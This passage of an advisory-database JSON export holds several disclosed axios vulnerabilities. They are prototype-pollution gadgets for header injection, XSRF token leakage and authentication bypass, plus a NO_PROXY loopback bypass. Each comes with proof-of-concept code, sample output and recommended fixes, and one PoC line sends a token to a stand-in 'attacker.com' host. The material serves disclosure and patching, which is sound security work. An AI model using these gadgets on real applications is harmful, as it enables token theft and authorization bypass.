([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n  config1[prop],\n  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n  prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, 'transport') \u0026\u0026 config.transport) {\n  transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:26:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf","https://nvd.nist.gov/vuln/detail/CVE-2026-42033","https://github.com/advisories/GHSA-pf86-5x62-jrwf"],"source_kind":"github","identifiers":["GHSA-pf86-5x62-jrwf","CVE-2026-42033"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.139Z","epss_percentage":0.00924,"epss_percentile":0.58717,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","url":"https://github.com/advisories/GHSA-6chq-wfr3-2hj9","title":"Axios: Header Injection via Prototype Pollution","description":"### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n    headers.set(data.getHeaders());\n    // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` — `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n  let kind;\n  return thing \u0026\u0026 (\n    (typeof FormData === 'function' \u0026\u0026 thing instanceof FormData) || (\n      isFunction(thing.append) \u0026\u0026 ( \n        (kind = kindOf(thing)) === 'formdata' ||  \n        (kind === 'object' \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    (.... Introduce here all the headers you want ....)\n    return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post('https://internal-api.company.com/admin/delete', \n    { userId: 42 },\n    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n-     headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {\n+     headers.set(data.getHeaders());\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:25:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9","https://nvd.nist.gov/vuln/detail/CVE-2026-42035","https://github.com/advisories/GHSA-6chq-wfr3-2hj9"],"source_kind":"github","identifiers":["GHSA-6chq-wfr3-2hj9","CVE-2026-42035"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-10-02T08:03:13.784Z","epss_percentage":0.00381,"epss_percentile":0.29585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0"],"unaffected_versions":["0.31.1","0.32.0","0.33.0","0.34.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2hxLXdmcjMtMmhqOc4ABWJu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","url":"https://github.com/advisories/GHSA-xx6v-rp6x-q39c","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check — only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits\n//  isURLSameOrigin() is NEVER called → token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` → always send token (explicit cross-origin opt-in)\n- `false` → never send token\n- `undefined` → send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy → same-origin check skipped → token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get('https://attacker.com/collect');\n// → attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES ← BUG                No\n\"false\" (string)           YES ← BUG                No\n{} (object)                YES ← BUG                No\n[] (array)                 YES ← BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 → leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:25:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c","https://nvd.nist.gov/vuln/detail/CVE-2026-42042","https://github.com/advisories/GHSA-xx6v-rp6x-q39c"],"source_kind":"github","identifiers":["GHSA-xx6v-rp6x-q39c","CVE-2026-42042"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.140Z","epss_percentage":0.00324,"epss_percentile":0.22751,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eDZ2LXJwNngtcTM5Y84ABWJt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","url":"https://github.com/advisories/GHSA-w9j2-pvgh-6h63","title":"Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy","description":"# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() =\u003e true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n  if (prop in config2) {           // ← `in` traverses prototype chain!\n    return getMergedValue(a, b);\n  } else if (prop in config1) {\n    return getMergedValue(undefined, a);\n  }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n  // ... all others use defaultToConfig2 ...\n  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () =\u003e true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n  const response = await axios.get('https://api.internal/admin/users');\n  // Developer expects: 401 → catch block → redirect to login\n  // Reality: 401 → treated as success → displays admin data\n  processAdminData(response.data);  // Executes with 401 response body!\n} catch (error) {\n  redirectToLogin();  // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 — 'validateStatus' in config2\n// config2 = { url: '/admin/users', method: 'get' }\n// 'validateStatus' in config2 → checks prototype → finds () =\u003e true → TRUE\n// → getMergedValue(defaultValidator, () =\u003e true) → returns () =\u003e true\n\n// settle.js:16 — ALL status codes resolve\nconst validateStatus = response.config.validateStatus;  // () =\u003e true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n  resolve(response);  // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → reject (auth error) → redirectToLogin()\n  HTTP 403 → reject (forbidden) → showAccessDenied()\n  HTTP 500 → reject (server error) → showErrorPage()\n\nAfter pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body\n  HTTP 403 → resolve (SUCCESS!) → application thinks user has access\n  HTTP 500 → resolve (SUCCESS!) → application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: 'Response with status 401' }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n    return getMergedValue(a, b);\n  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:21:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63","https://nvd.nist.gov/vuln/detail/CVE-2026-42041","https://github.com/advisories/GHSA-w9j2-pvgh-6h63"],"source_kind":"github","identifiers":["GHSA-w9j2-pvgh-6h63","CVE-2026-42041"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.140Z","epss_percentage":0.0081,"epss_percentile":0.55046,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","url":"https://github.com/advisories/GHSA-pmwg-cvhr-8vh7","title":"Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0","description":"**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background — The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch — This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n```\nHowever, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() — Line 1–3 |\n| Supporting Function | shouldBypassProxy() — Line 59–110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js — Lines 191–199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL → http://localhost./secret\nNO_PROXY    → \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   →  FALSE  →  Proxy used  ← BYPASS\n  \"[::1]\"     === \"::1\"         →  FALSE  →  Proxy used  ← BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47–57)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" → \"::1\"\n  if (hostname.charAt(0) === '[' 